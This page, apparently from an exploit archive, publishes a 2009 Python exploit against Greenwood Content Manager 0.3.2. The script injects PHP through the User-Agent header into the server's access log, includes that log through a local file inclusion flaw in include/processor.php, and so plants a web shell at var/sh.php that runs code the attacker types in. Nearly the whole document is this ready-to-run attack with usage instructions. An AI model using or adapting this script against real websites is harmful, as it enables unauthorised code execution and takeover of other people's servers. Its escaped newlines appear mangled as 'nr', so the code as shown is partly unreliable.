[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Greenwood Content Manager 0.3.2 Local File Inclusion Exploit
# Published : 2009-07-15
# Author : IRCRASH
# Previous Title : PHPGenealogy 2.0 (DataDirectory) RFI Vulnerability
# Next Title : Infinity <= 2.0.5 Arbitrary Create Admin Exploit


#!usr/bin/python
#####################################################################################
####            Greenwood Content Manager Remote Code Execution                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/sourceforge/greenwood/greenwood-release-0.3.2.tar.bz2
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/[path]/include/processor.php?content_path=[evil_code_path]           #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,httplib,urllib
if len(sys.argv) < 3 :
    print "nrUsage : " + sys.argv[0] + " [site] [path]nr"
    print "Ex : " + sys.argv[0] + " 123.com /greenwood/nr"
    print "Powered by : Sina Yazdanmehr( R3d.W0rm )nr"
    print "http://IrCrash.com - http://R3dW0rm.irnr"
    exit()
if 'http://' in sys.argv[1] :
    sys.argv[1]=sys.argv[1].replace('http://','')
print "Input evil code.( With out ' and <??> )( Ex. include $_GET[file]; )nr"
shell=raw_input('Code : ')
user_agent={'User-Agent':'<?php fwrite($fp=fopen("../var/sh.php","w+"),'<?php /* Exploited by : R3d.W0rm - http://r3dw0rm.ir */ ' + shell + '?>');fclose($fp); ?>'}
conn=httplib.HTTPConnection(sys.argv[1],80)
conn.request("POST",'/' + sys.argv[2] + '/','',user_agent)
response=conn.getresponse().read()
urllib.urlopen('http://' + sys.argv[1] + '/' + sys.argv[2] + '/include/processor.php?content_path=../var/access_log')
print "nrShell created : http://" +  sys.argv[1] + sys.argv[2] + "/var/sh.phpnr"

# www.Syue.com [2009-07-15]